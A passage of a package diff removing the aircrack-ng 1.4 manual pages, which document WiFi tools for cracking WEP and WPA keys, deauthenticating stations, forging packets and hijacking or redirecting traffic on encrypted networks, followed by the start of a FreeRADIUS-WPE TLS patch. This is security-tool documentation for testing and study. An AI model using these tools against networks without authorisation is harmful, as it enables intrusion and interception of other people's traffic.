-\-a 00:14:22:56:F3:4E \-t 0 \-y keystream.xor wlan0
-.PP
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/airventriloquist-ng.8 Deleted

@@ -1,88 +0,0 @@
-.TH AIRVENTRILOQUIST-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-airventriloquist-ng - encrypted WiFi packet injection
-.SH SYNOPSIS
-.B airventriloquist-ng
-[options]
-.SH DESCRIPTION
-.BI airventriloquist-ng
-injects on encrypted WiFi packet and circumvents wireless intrusion prevention systems.
-.SH OPTIONS
-.PP
-.TP
-.I --help
-Shows the help screen.
-.TP
-.I -i <replay interface>
-Interface to capture and inject. Mandatory option.
-.TP
-.I -d, --deauth
-Sends active deauthentications frames to encrypted stations.
-.TP
-.I -e <value>, --essid <value>
-ESSID of target network. For SSID containing special characters, see https://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc_in_ap_names
-.TP
-.I -p <value>, --passphrase <value>
-WPA Passphrase of the target network. Passphrase is between 8 and 63 characters long.
-.TP
-.I -c, --icmp
-Respond to all ICMP frames (Debug).
-.TP
-.I -n, --dns
-IP to resolve all DNS queries to.
-.TP
-.I -s <URL>, --hijack <URL>
-URL to look for in HTTP requests when hijacking connections. The URL can have wildcards characters. Example: *jquery*.js*
-.TP
-.I -r <URL>, --redirect <URL>
-URL to redirect hijacked connections to.
-.TP
-.I -v, --verbose
-Verbose output.
-.PP
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airtun-ng(8)

aircrack-ng-1.4.tar.gz/manpages/besside-ng-crawler.1 Deleted

@@ -1,64 +0,0 @@
-.TH BESSIDE-NG-CRAWLER 1 "September 2018" "Version 1.4"
-
-
-.SH NAME
-besside-ng-crawler - filter EAPOL frames from a directory of capture files.
-.SH SYNOPSIS
-.B besside-ng-crawler
-<Input Directory> <Output File>
-.SH DESCRIPTION
-.BI besside-ng-crawler
-
-Scans recursively on input directory looking for pcap dumpfiles and filters out
-one beacon and all EAPOL frames for the WPA networks if finds in them.
-
-.SH AUTHOR
-This manual page was written by David Francos Cuartero.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/besside-ng.8 Deleted

@@ -1,94 +0,0 @@
-.TH BESSIDE-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-besside-ng - crack a WEP or WPA key without user intervention and collaborate with WPA cracking statistics
-.SH SYNOPSIS
-.B besside-ng
-[options] <interface>
-
-.SH DESCRIPTION
-.BI besside-ng
-is a tool which will crack all the WEP networks in range and log all the WPA handshakes.
-WPA handshakes can be uploaded to the online cracking service at wpa.darkircop.org.
-.BR
-Wpa.darkircop.com also provides useful statistics based on user-submitted capture
-files about the feasibility of WPA cracking.
-.PP
-.TP
-.I -b <target mac>
-Specifies the target's BSSID
-
-.TP
-.I -s <WPA server>
-Where to upload capture file for cracking. A good choice is wpa.darkircop.org
-
-.TP
-.I -c <chan>
-Channel lock
-
-.TP
-.I -p <pps>
-Packages per second to send (flood rate).
-
-.TP
-.I -W
-Crack only WPA networks
-
-.TP
-.I -v
-Verbose mode. Use -vv for more verbose, -vv for even more and so on.
-
-.TP
-.I -h
-Help screen
-
-.SH AUTHOR
-This manual page was written by David Francos Cuartero.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/buddy-ng.1 Deleted

@@ -1,67 +0,0 @@
-.TH BUDDY-NG 1 "September 2018" "Version 1.4"
-
-.SH NAME
-buddy-ng - a tool to work with easside-ng
-.SH SYNOPSIS
-.B buddy-ng
-<options>
-.SH DESCRIPTION
-.BI buddy-ng
-server echoes back the decrypted packets to the system running easside-ng in order to access the wireless network without knowing the WEP key. It is done by having the AP itself decrypt the packets. When ran, it automatically starts and listen to port 6969.
-.SH OPTIONS
-.PP
-.TP
-.I -h
-Shows the help screen.
-.TP
-.I -p
-Don\(aqt drop privileges
-.SH AUTHOR
-This manual page was written by Thomas d\(aqOtreppe.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/easside-ng.8 Deleted

@@ -1,88 +0,0 @@
-.TH EASSIDE-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-easside-ng - an auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key
-.SH SYNOPSIS
-.B easside-ng
-<options>
-.SH DESCRIPTION
-.BI easside-ng
-is an auto-magic tool which allows you to communicate via an WEP-encrypted access point (AP) without knowing the WEP key. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme and then setup a TAP interface so that you can communicate with the AP without requiring the WEP key. All this is done without your intervention.
-.SH OPTIONS
-.PP
-.TP
-.I -h
-Shows the help screen.
-.TP
-.I -v <victim mac>
-Victim BSSID (Optional).
-.TP
-.I -m <src mac>
-Source MAC address to be used (Optional).
-.TP
-.I -i <ip>
-Source IP address to be used on the wireless LAN. Defaults to the decoded network plus \(aq.123\(aq (Optional).
-.TP
-.I -r <router ip>
-IP address of the AP router. This could be the WAN IP of the AP or an actual router IP depending on the topology. Defaults to the decoded network plus \(aq.1\(aq (Optional).
-.TP
-.I -s <buddy ip>
-IP address of Buddy-ng server (Mandatory)
-.TP
-.I -f <iface>
-Wireless interface to use (Mandatory)
-.TP
-.I -c <channel>
-Lock interface to this channel (Optional).
-.TP
-.I -n
-Determine Internet IP only.
-.SH AUTHOR
-This manual page was written by Thomas d\(aqOtreppe.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/ivstools.1 Deleted

@@ -1,67 +0,0 @@
-.TH IVSTOOLS 1 "September 2018" "Version 1.4"
-
-.SH NAME
-ivstools - extract IVs from a pcap file or merges several .ivs files into one
-.SH SYNOPSIS
-.B ivstools
---convert <pcap file> <ivs output file>
-.B ivstools
---merge <ivs file 1> <ivs file 2> .. <output file>
-.SH DESCRIPTION
-.BI ivstools
-is a tool designed to extract ivs (initialization vectors) from a pcap dump to an ivs file and it can also merge several ivs (initialization vectors) files into one..
-.SH EXAMPLE
-.B ivstools
---convert wep_dump.cap out.ivs
-.br
-.B ivstools
---merge myivs1.ivs myivs2.ivs myivs3.ivs allivs.ivs
-.SH AUTHOR
-This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/kstats.1 Deleted

@@ -1,62 +0,0 @@
-.TH KSTATS 1 "September 2018" "Version 1.4"
-
-.SH NAME
-kstats - show statistical FMS algorithm votes for an ivs dump and a specified WEP key
-.SH SYNOPSIS
-.B kstats
-<ivs file> <104-bit key>
-.SH DESCRIPTION
-.BI kstats
-is a tool designed to show the FMS algorithm votes for an ivs dump (initialization vectors) with a specified WEP key. The ivs dump can be get by using the combination of both airodump(1) and ivstools(1).
-.SH EXAMPLE
-.B kstats
-kstats out.ivs 123456789ABCDEF123456789AB
-.SH AUTHOR
-This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/makeivs-ng.1 Deleted

@@ -1,102 +0,0 @@
-.TH MAKEIVS-NG 1 "September 2018" "Version 1.4"
-
-.SH NAME
-makeivs - generate a dummy IVS dump file with a specific WEP key
-.SH SYNOPSIS
-.B makeivs
-<ivs file> <104-bit key>
-.SH DESCRIPTION
-.BI makeivs-ng
-is a tool designed to generate an IVS dump file with an inputted WEP key.
-The aim of is tools is to provide a way to create dumps with a known encryption key for tests.
-.SH OPTIONS
-.TP
-.B Common options:
-.TP
-.I -b <bssid> or --bssid <bssid>
-Set the BSSID (Access Point MAC)
-.TP
-.I -f <num> or --first <num>
-Value for the first IV generated.
-.TP
-.I -k <key> or --key <key>
-Target network WEP key in hex. Separator between bytes is accepted but not necessary.
-.TP
-.I -s <num> or --seed <num>
-Seed used to setup random generator. May be used in combination with \-p or \-\-prng.
-.TP
-.I -w <file> or --write <file>
-Filename to write IVs into.
-.TP
-.I -c <num> or --count <num>
-Amount of IVs to generate. Default value is 100000.
-.TP
-.I -d <num> or --dupe <num>
-Percentage of duplicate IVs.
-.TP
-.I -e <num> or --error <num>
-Percentage of erroneous keystreams.
-.TP
-.I -l <num> or --length <num>
-Size of keystreams. Default: 16 bytes.
-.TP
-.I -n or --nofms 
-Ignores weak IVs.
-.TP
-.I -p or --prng
-Use random values when generating IVs. Default is to use sequential values.
-.TP
-.I --help
-Show help screen.
-.SH EXAMPLE
-.B makeivs
-makeivs -w out.ivs -k 123456789ABCDEF123456789AB
-.SH AUTHOR
-This manual page was written by Adam Cecile <gandalf@le-vert.net> for the Debian system (but may be used by others).
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/packetforge-ng.1 Deleted

@@ -1,126 +0,0 @@
-.TH PACKETFORGE-NG 1 "September 2018" "Version 1.4"
-
-.SH NAME
-packetforge-ng - forge packets: ARP, UDP, ICMP or custom packets.
-.SH SYNOPSIS
-.B packetforge-ng
-<mode> <options>
-.SH DESCRIPTION
-.BI packetforge-ng
-is a tool to create encrypted packets that can subsequently be used for injection. You may create various types of packets such as arp requests, UDP, ICMP and custom packets. The most common use is to create ARP requests for subsequent injection. 
-.PP
-To create an encrypted packet, you must have a PRGA (pseudo random genration algorithm) file. This is used to encrypt the packet you create. This is typically obtained from aireplay-ng chopchop or fragmentation attacks.
-.SH OPTIONS
-.PP
-.TP
-.I -H, --help
-Shows the help screen.
-.TP
-.I -p <fctrl>
-Set frame control word (hex)
-.TP
-.I -a <bssid>
-Set Access Point MAC address
-.TP
-.I -c <dmac>
-Set Destination MAC address
-.TP
-.I -h <smac>
-Set Source MAC address
-.TP
-.I -j
-set FromDS bit
-.TP
-.I -o
-clear ToDS bit
-.TP
-.I -e
-disable WEP encryption
-.TP
-.I -k <ip:[port]>
-Set destination IP (and port)
-.TP
-.I -l <ip:[port]>
-Set source IP (and port)
-.TP
-.I -w <file>
-Write packet to this pcap file
-.TP
-.I -r <file>
-Read packet from this pcap file
-.TP
-.I -y <file>
-Read PRGA from this file
-.TP
-.I -t <ttl>
-Set Time To Live in IP-Header
-.TP
-.I -s <size>
-Set size of the generated null packet.
-.TP
-.I -0, --arp
-Forge an ARP packet
-.TP
-.I -1, --udp
-Forge an UDP packet
-.TP
-.I -2, --icmp
-Forge an ICMP packet
-.TP
-.I -3, --null
-Forge a llc null packet
-.TP
-.I -9, --custom
-Build a custom packet, requires \-r to read an unencrypted frame out of a pcap file.
-.SH EXAMPLE
-.B packetforge-ng
-\-y test.xor \-a 00:09:5b:12:40:cc \-h 00:10:2a:cb:30:14 \-k 192.168.1.100 \-l 192.168.1.1 \-w arp-request.cap
-.SH AUTHOR
-This manual page was written by Thomas d\(aqOtreppe.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/tkiptun-ng.8 Deleted

@@ -1,138 +0,0 @@
-.TH TKIPTUN-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-tkiptun-ng - inject a few frames into a WPA TKIP network with QoS
-.SH SYNOPSIS
-.B tkiptun-ng
-[options] <replay interface>
-.SH DESCRIPTION
-.BI tkiptun-ng
-is a tool created by Martin Beck aka hirte, a member of aircrack-ng team. This tool is able to inject a few frames into a WPA TKIP network with QoS. He worked with Erik Tews (who created PTW attack) for a conference in PacSec 2008: "Gone in 900 Seconds, Some Crypto Issues with WPA".
-.SH OPERATION
-.PP
-.TP
-.I -H, --help
-Shows the help screen.
-.TP
-.B Filter options:
-.TP
-.I -d <dmac>
-MAC address of destination.
-.TP
-.I -s <smac>
-MAC address of source.
-.TP
-.I -m <len>
-Minimum packet length.
-.TP
-.I -n <len>
-Maximum packet length.
-.TP
-.I -t <tods>
-Frame control, "To" DS bit.
-.TP
-.I -f <fromds>
-Frame control, "From" DS bit.
-.TP
-.I -D 
-Disable AP Detection.
-.PP
-.TP
-.B Replay options:
-.TP
-.I -x <nbpps>
-Number of packets per second.
-.TP
-.I -p <fctrl>
-Set frame control word (hex).
-.TP
-.I -a <bssid>
-Set Access Point MAC address.
-.TP
-.I -c <dmac>
-Set destination MAC address.
-.TP
-.I -h <smac>
-Set source MAC address.
-.TP
-.I -e <essid>
-Set target SSID.
-.TP
-.I -M <sec>
-MIC error timeout in seconds. Default: 60 seconds
-.PP
-.TP
-.B Debug options:
-.TP
-.I -K <prga>
-Keystream for continuation.
-.TP
-.I -y <file>
-Keystream file for continuation.
-.TP
-.I -j
-Inject FromFS packets.
-.TP
-.I -P <PMK>
-Pairwise Master key (PMK) for verification or vulnerability testing.
-.TP
-.I -p <PSK>
-Preshared key (PSK) to calculate PMK with essid.
-.PP
-.TP
-.B Source options:
-.TP
-.I -i <iface>
-Capture packets from this interface.
-.TP
-.I -r <file>
-Extract packets from this pcap file.
-.SH AUTHOR
-This manual page was written by Thomas d\(aqOtreppe.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/wesside-ng.8 Deleted

@@ -1,91 +0,0 @@
-.TH WESSIDE-NG 8 "September 2018" "Version 1.4"
-
-.SH NAME
-wesside-ng - crack a WEP key of an open network without user intervention
-.SH SYNOPSIS
-.B wesside-ng
-<options>
-.SH DESCRIPTION
-.BI wesside-ng
-is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.
-.SH OPTIONS
-.PP
-.TP
-.I -h
-Shows the help screen.
-.TP
-.I -i <iface>
-Wireless interface name. (Mandatory)
-.TP
-.I -n <network ip>
-Network IP as in \(aqwho has destination IP (netip) tell source IP (myip)\(aq. Defaults to the source IP on the ARP request which is captured and decrypted. (Optional)
-.TP
-.I -m <my ip>
-\(aqwho has destination IP (netip) tell source IP (myip)\(aq. Defaults to the network.123 on the ARP request captured (Optional).
-.TP
-.I -a <source mac>
-Source MAC address (Optional)
-.TP
-.I -c
-Do not crack the key. Simply capture the packets until control-C is hit to stop the program! (Optional)
-.TP
-.I -p <min PRGA>
-Determines the minimum number of bytes of PRGA which is gathered. Defaults to 128 bytes. (Optional).
-.TP
-.I -v <victim MAC>
-Wireless access point MAC address (Optional).
-.TP
-.I -t <threshold>
-For each number of IVs specified, restart the airecrack-ng PTW engine (Optional). It will restart PTW every <threshold> IVs.
-.TP
-.I -f <channel>
-Allows the highest channel for scanning to be defined. Defaults to channel 11 (Optional).
-.SH AUTHOR
-This manual page was written by Thomas d\(aqOtreppe.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B wpaclean(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/manpages/wpaclean.1 Deleted

@@ -1,63 +0,0 @@
-.TH WPACLEAN 1 "September 2018" "Version 1.4"
-
-.SH NAME
-wpaclean - clean wpa capture files
-
-.SH SYNOPSIS
-.B wpaclean <out.cap> <in.cap> [in2.cap] [...]
-
-.SH DESCRIPTION
-.BI wpaclean
-Cleans capture files to get only the 4-way handshake and a beacon.
-
-.SH AUTHOR
-This manual page was written by David Francos Cuartero <xayon@xayon.net>.
-Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation
-On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.
-
-.PP
-.SH SEE ALSO
-.br
-.B airbase-ng(8)
-.br
-.B aireplay-ng(8)
-.br
-.B airmon-ng(8)
-.br
-.B airodump-ng(8)
-.br
-.B airodump-ng-oui-update(8)
-.br
-.B airserv-ng(8)
-.br
-.B airtun-ng(8)
-.br
-.B besside-ng(8)
-.br
-.B easside-ng(8)
-.br
-.B tkiptun-ng(8)
-.br
-.B wesside-ng(8)
-.br
-.B aircrack-ng(1)
-.br
-.B airdecap-ng(1)
-.br
-.B airdecloak-ng(1)
-.br
-.B airolib-ng(1)
-.br
-.B besside-ng-crawler(1)
-.br
-.B buddy-ng(1)
-.br
-.B ivstools(1)
-.br
-.B kstats(1)
-.br
-.B makeivs-ng(1)
-.br
-.B packetforge-ng(1)
-.br
-.B airventriloquist(8)

aircrack-ng-1.4.tar.gz/patches/wpe/freeradius-wpe/freeradius_3_0_15_openssl_1_1_tls_version_fix.diff Deleted

@@ -1,198 +0,0 @@
-diff --git a/src/main/tls.c b/src/main/tls.c
-index 1ac8fc1..dcc96ad 100644
---- a/src/main/tls.c
-+++ b/src/main/tls.c
-@@ -1226,6 +1226,10 @@ static CONF_PARSER tls_server_config[] = {
- 	{ "disable_tlsv1_2", FR_CONF_OFFSET(PW_TYPE_BOOLEAN, fr_tls_server_conf_t, disable_tlsv1_2), NULL },
- #endif
- 
-+	{ "tls_max_version", FR_CONF_OFFSET(PW_TYPE_STRING, fr_tls_server_conf_t, tls_max_version), "" },
-+
-+	{ "tls_min_version", FR_CONF_OFFSET(PW_TYPE_STRING, fr_tls_server_conf_t, tls_min_version), "1.0" },
-+
- 	{ "cache", FR_CONF_POINTER(PW_TYPE_SUBSECTION, NULL), (void const *) cache_config },
- 
- 	{ "verify", FR_CONF_POINTER(PW_TYPE_SUBSECTION, NULL), (void const *) verify_config },
-@@ -1271,6 +1275,11 @@ static CONF_PARSER tls_client_config[] = {
- #ifdef SSL_OP_NO_TLSv1_2
- 	{ "disable_tlsv1_2", FR_CONF_OFFSET(PW_TYPE_BOOLEAN, fr_tls_server_conf_t, disable_tlsv1_2), NULL },
- #endif
-+
-+	{ "tls_max_version", FR_CONF_OFFSET(PW_TYPE_STRING, fr_tls_server_conf_t, tls_max_version), "" },
-+
-+	{ "tls_min_version", FR_CONF_OFFSET(PW_TYPE_STRING, fr_tls_server_conf_t, tls_min_version), "1.0" },
-+
- 	CONF_PARSER_TERMINATOR
- };
- 
-@@ -2665,6 +2674,28 @@ void tls_global_cleanup(void)
- 	CRYPTO_cleanup_all_ex_data();
- }
- 
-+
-+/*
-+ *	Map version strings to OpenSSL macros.
-+ */
-+static const FR_NAME_NUMBER version2int[] = {
-+	{ "1.0",    TLS1_VERSION },
-+#ifdef TLS1_1_VERSION
-+	{ "1.1",    TLS1_1_VERSION },
-+#endif
-+#ifdef TLS1_2_VERSION
-+	{ "1.2",    TLS1_2_VERSION },
-+#endif
-+#ifdef TLS1_3_VERSION
-+	{ "1.3",    TLS1_3_VERSION },
-+#endif
-+#ifdef TLS1_4_VERSION
-+	{ "1.4",    TLS1_4_VERSION },
-+#endif
-+	{ NULL, 0 }
-+};
-+
-+
- /** Create SSL context
-  *
-  * - Load the trusted CAs
-@@ -2900,22 +2931,122 @@ post_ca:
- 	ctx_options |= SSL_OP_NO_SSLv3;
- 
- 	/*
--	 *	As of 3.0.5, we always allow TLSv1.1 and TLSv1.2.
--	 *	Though they can be *globally* disabled if necessary.x
-+	 *	SSL_CTX_set_(min|max)_proto_version was included in OpenSSL 1.1.0
-+	 *
